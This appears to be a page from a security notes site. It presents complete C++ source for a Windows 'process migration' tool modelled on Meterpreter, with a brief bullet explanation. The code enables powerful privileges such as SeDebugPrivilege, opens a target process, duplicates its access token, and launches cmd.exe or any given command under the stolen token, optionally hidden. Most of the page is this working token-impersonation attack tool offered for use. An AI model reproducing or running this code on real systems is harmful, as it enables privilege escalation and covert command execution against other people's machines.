Process migration like meterpreter
Those are some of the things the code is doing:
  • Check if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
  • Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
  • Duplicate their tokens (privileges in windows system was managed by tokens).
  • If the duplication was successful it tries to run new process by using these duplicated tokens.
1
#include <windows.h>
2
#include <wchar.h>
3
#include <iostream>
4
#include <stdio.h>
5
#include <stdlib.h>
6
7
using namespace std;
8
9
void usage(char *name)
10
11
{
12
cout << "(-) Ex.: " << name << " <PID> :: for open cmd.exe with new privilages.\n";
13
cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
14
}
15
16
BOOL SetPrivilege(HANDLE hToken, // access token handle
17
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
18
BOOL bEnablePrivilege // to enable or disable privilege )
19
20
{
21
TOKEN_PRIVILEGES tp;
22
LUID luid;
23
24
if (!LookupPrivilegeValue(
25
NULL, // lookup privilege on local system
26
lpszPrivilege, // privilege to lookup
27
&luid)) // receives LUID of privilege
28
29
{
30
printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
31
return FALSE;
32
}
33
34
35
tp.PrivilegeCount = 1;
36
tp.Privileges[0].Luid = luid;
37
if (bEnablePrivilege)
38
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
39
else
40
tp.Privileges[0].Attributes = 0;
41
42
// Enable the privilege or disable all privileges.
43
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
44
{
45
printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
46
return FALSE;
47
}
48
49
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
50
{
51
printf("\t(-) The token does not have the specified privilege. ");
52
return FALSE;
53
}
54
55
return TRUE;
56
}
57
58
59
BOOL check()
60
{
61
BOOL result = TRUE;
62
BOOL bResult;
63
HANDLE fhToken;
64
LUID fLuid;
65
PRIVILEGE_SET privs;
66
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
67
wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
68
for (int i = 0; i < 2; i++)
69
{
70
if (!LookupPrivilegeValue(
71
NULL, // lookup privilege on local system
72
(LPCTSTR)cPrivs[i], // privilege to lookup
73
&fLuid)) // receives LUID of privilege
74
{
75
printf("LookupPrivilegeValue error: %u\n", GetLastError());
76
ExitProcess(0);
77
}
78
79
privs.PrivilegeCount = 1;
80
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
81
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
82
privs.Privilege[0].Luid = fLuid;
83
PrivilegeCheck(fhToken, &privs, &bResult);
84
if (!bResult)
85
{
86
wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
87
result = FALSE;
88
}
89
}
90
return result;
91
}
92
93
94
int main(int argc, char *argv[])
95
{
96
DWORD flag;
97
if (argc <= 1 || argc >= 4)
98
{
99
usage(argv[0]);
100
exit(0);
101
}
102
103
char *command;
104
if (argc > 2)
105
{
106
command = argv[2];
107
flag = CREATE_NO_WINDOW;
108
}
109
110
else
111
{
112
command = "cmd.exe";
113
flag = 0;
114
}
115
116
DWORD pid = atoi(argv[1]);
117
cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
118
cout << "(!) Check if the process have an required permissions...\n";
119
Sleep(1000);
120
121
if (!check())
122
{
123
cout << "(!) Trying to set the necessary privileges.\n";
124
HANDLE currentProcessToken;
125
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
126
wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
127
for (int i = 0; i < 9; i++)
128
{
129
if (!SetPrivilege(currentProcessToken, privs[i], true))
130
{
131
wprintf(L"Access denied to set %s \n", privs[i]);
132
cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
133
ExitProcess(0);
134
}
135
}
136
}
137
cout << "\t(+) All required Permissions was successfull granted.\n\n";
138
139
cout << "(!) Trying to open Handel for requested PID.\n";
140
Sleep(1000);
141
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
142
if (!hProcess) {
143
cout << "\t(-) Can not open handle for requested PID";
144
ExitProcess(0);
145
}
146
cout << "\t(+) The HANDLE was created success.\n\n";
147
148
cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
149
HANDLE NewTokens;
150
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
151
{
152
cout << "\t(-) Denied to handle Process Tokens\n";
153
ExitProcess(0);
154
}
155
cout << "\t(+) Extracting tokens was successfull\n";
156
Sleep(500);
157
158
HANDLE hPrimaryToken;
159
if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
160
{
161
cout << "\t(-) Denied to Duplicate process Tokens\n";
162
}
163
cout << "\t(+) Duplicate tokens was successfull\n\n";
164
Sleep(1000);
165
166
cout << "(!) Try to execute new process with duplicated tokens.\n";
167
STARTUPINFO si;
168
PROCESS_INFORMATION pi;
169
ZeroMemory(&si, sizeof(si));
170
si.cb = sizeof(si);
171
si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
172
ZeroMemory(&pi, sizeof(pi));
173
wchar_t cmd[500];
174
swprintf_s(cmd, L"cmd.exe /c %hs", command);
175
Sleep(500);
176
177
if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
178
{
179
cout << "\t(-) Somthing went wrong!!! \n\t";
180
printf(" -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
181
ExitProcess(0);
182
183
}
184
cout << "[***] We successfuly Migrated to requested PID. [***]\n";
185
186
if (command != argv[2])
187
{
188
cout << "[***] The CMD console with new privilages was opened. [***]\n";
189
}
190
191
else
192
{
193
cout << "[***] Command was executed succesfully!!! [***]";
194
}
195
return 0;
196
197
}
Copied!
Last modified 4mo ago
Copy link